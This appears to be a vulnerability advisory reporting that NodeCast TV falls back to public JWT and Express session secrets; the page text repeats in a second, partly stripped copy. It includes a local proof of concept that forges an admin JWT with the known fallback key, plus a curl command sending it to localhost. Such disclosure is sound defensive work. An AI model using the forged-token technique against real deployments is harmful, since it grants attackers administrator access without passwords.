NodeCast TV uses public fallback secrets for JWT and Express sessions
Summary
NodeCast TV contains two public authentication-related fallback values:
JWT fallback: nodecast-tv-secret-key-change-in-production
Session fallback: keyboard cat
The JWT fallback can enable administrator authentication without a password when JWT_SECRET is not configured. The session fallback is a separate weak cookie-signing secret. In the current code, it does not by itself prove an administrator bypass because Express Session stores state server-side and the login routes use session: false.
Verdict
- JWT chain: conditional authentication bypass
- Express Session chain: hard-coded session-signing secret; current privilege impact not proven
- CWE: CWE-321; CWE-798 may also apply when the fallback is deployed as an authentication credential
- Commit:
0e26a90dae211cf9ed4c7adc8941ec9fbddec972
JWT chain
Public signing key
server/auth.js#L13-L15
const JWT_SECRET = process.env.JWT_SECRET || 'nodecast-tv-secret-key-change-in-production';
const JWT_EXPIRY = '24h';
The same value signs and verifies bearer JWTs:
server/auth.js#L32-L56
return jwt.sign(
{ id: user.id, username: user.username, role: user.role },
JWT_SECRET,
{ expiresIn: JWT_EXPIRY }
);
return jwt.verify(token, JWT_SECRET);
Token ID selects the server-side user
The Passport JWT strategy verifies the signature, then loads a user by the attacker-controlled payload.id:
server/auth.js#L85-L110
const user = await getUserById(payload.id);
return done(null, {
id: user.id,
username: user.username,
role: user.role
});
The role is correctly reloaded from the database. The weakness is that the known JWT key lets an attacker choose which database user ID is authenticated as.
The initial setup creates the first administrator, and IDs start at 1:
Administrator authorization checks the database-backed role:
server/auth.js#L228-L241
if (!req.user || req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden - Admin access required' });
}
For example, user-management routes require both JWT authentication and the admin role:
server/routes/users.js#L7-L30
Local PoC
Run only against a local copy. This PoC does not contact a NodeCast TV deployment.
cd nodecast-tv
npm install
node <<'EOF'
const jwt = require('jsonwebtoken');
const secret = 'nodecast-tv-secret-key-change-in-production';
const token = jwt.sign(
{ id: 1, username: 'forged', role: 'viewer' },
secret,
{ expiresIn: '24h' }
);
const payload = jwt.verify(token, secret);
const databaseUser = { id: 1, username: 'local-admin', role: 'admin' };
if (payload.id !== databaseUser.id) throw new Error('wrong user ID');
if (databaseUser.role !== 'admin') throw new Error('database role is not admin');
console.log('PASS: public fallback signs a valid JWT for database user ID 1');
console.log('PASS: the strategy would authorize the selected database admin');
EOF
Expected output:
PASS: public fallback signs a valid JWT for database user ID 1
PASS: the strategy would authorize the selected database admin
For a complete local test after creating the initial administrator, send the generated token only to 127.0.0.1:
TOKEN=$(node -e "console.log(require('jsonwebtoken').sign({id:1,username:'local',role:'viewer'}, 'nodecast-tv-secret-key-change-in-production', {expiresIn:'24h'}))")
curl -i -H "Authorization: Bearer ${TOKEN}" http://127.0.0.1:3000/api/auth/users
This requires the local setup administrator to have ID 1. Do not run it against a public or third-party deployment.
Express Session chain
server/index.js#L20-L28
app.use(session({
secret: process.env.JWT_SECRET || 'keyboard cat',
resave: false,
saveUninitialized: true
}));
When JWT_SECRET is absent, the Express Session cookie is signed with the public value keyboard cat. When JWT_SECRET is set, the same environment variable is reused by both JWT and Express Session.
This is a separate issue:
- Express Session normally stores session data server-side.
- The local login route uses
passport.authenticate('local', { session: false }).
- The OIDC callback also uses
{ session: false }.
- The current source does not show a route that authenticates a user solely from a forged session cookie.
Therefore, keyboard cat proves a hard-coded session-signing weakness, but not a complete administrator bypass without a usable server-side session record, session fixation, or another route that trusts session data.
Conditions and impact
The JWT bypass requires:
JWT_SECRET is unset or equals the public fallback.
- Setup has created a user with a known ID, especially the initial administrator at ID
1.
- The request reaches a Passport JWT-protected route.
Under these conditions, an attacker can authenticate as the selected existing user without that user's password. For ID 1, this can satisfy requireAdmin and reach administrator-only user-management operations.
If the operator configures a unique high-entropy JWT_SECRET, this specific fallback is not affected. A nonexistent user ID is also rejected by the database lookup.
Remediation
- Remove both fallback literals from production code.
- Refuse to start when
JWT_SECRET is missing, short, or equal to a documented example value.
- Generate a unique high-entropy JWT secret during setup.
- Use a separate high-entropy secret for Express Session.
- Add token versioning or revocation if logout and role changes must invalidate old tokens.
- Add regression tests for a forged token selecting ID
1 and for a forged session cookie without a valid server-side session.
Related public examples
NodeCast TV uses public fallback secrets for JWT and Express sessions
Summary
NodeCast TV contains two public authentication-related fallback values:
The JWT fallback can enable administrator authentication without a password when
JWT_SECRETis not configured. The session fallback is a separate weak cookie-signing secret. In the current code, it does not by itself prove an administrator bypass because Express Session stores state server-side and the login routes usesession: false.Verdict
0e26a90dae211cf9ed4c7adc8941ec9fbddec972JWT chain
Public signing key
server/auth.js#L13-L15The same value signs and verifies bearer JWTs:
server/auth.js#L32-L56Token ID selects the server-side user
The Passport JWT strategy verifies the signature, then loads a user by the attacker-controlled
payload.id:server/auth.js#L85-L110The role is correctly reloaded from the database. The weakness is that the known JWT key lets an attacker choose which database user ID is authenticated as.
The initial setup creates the first administrator, and IDs start at
1:server/routes/auth.js#L67-L100server/db.js#L382-L401Administrator authorization checks the database-backed role:
server/auth.js#L228-L241For example, user-management routes require both JWT authentication and the admin role:
server/routes/users.js#L7-L30Local PoC
Run only against a local copy. This PoC does not contact a NodeCast TV deployment.
Expected output:
For a complete local test after creating the initial administrator, send the generated token only to
127.0.0.1:This requires the local setup administrator to have ID
1. Do not run it against a public or third-party deployment.Express Session chain
server/index.js#L20-L28When
JWT_SECRETis absent, the Express Session cookie is signed with the public valuekeyboard cat. WhenJWT_SECRETis set, the same environment variable is reused by both JWT and Express Session.This is a separate issue:
passport.authenticate('local', { session: false }).{ session: false }.Therefore,
keyboard catproves a hard-coded session-signing weakness, but not a complete administrator bypass without a usable server-side session record, session fixation, or another route that trusts session data.Conditions and impact
The JWT bypass requires:
JWT_SECRETis unset or equals the public fallback.1.Under these conditions, an attacker can authenticate as the selected existing user without that user's password. For ID
1, this can satisfyrequireAdminand reach administrator-only user-management operations.If the operator configures a unique high-entropy
JWT_SECRET, this specific fallback is not affected. A nonexistent user ID is also rejected by the database lookup.Remediation
JWT_SECRETis missing, short, or equal to a documented example value.1and for a forged session cookie without a valid server-side session.Related public examples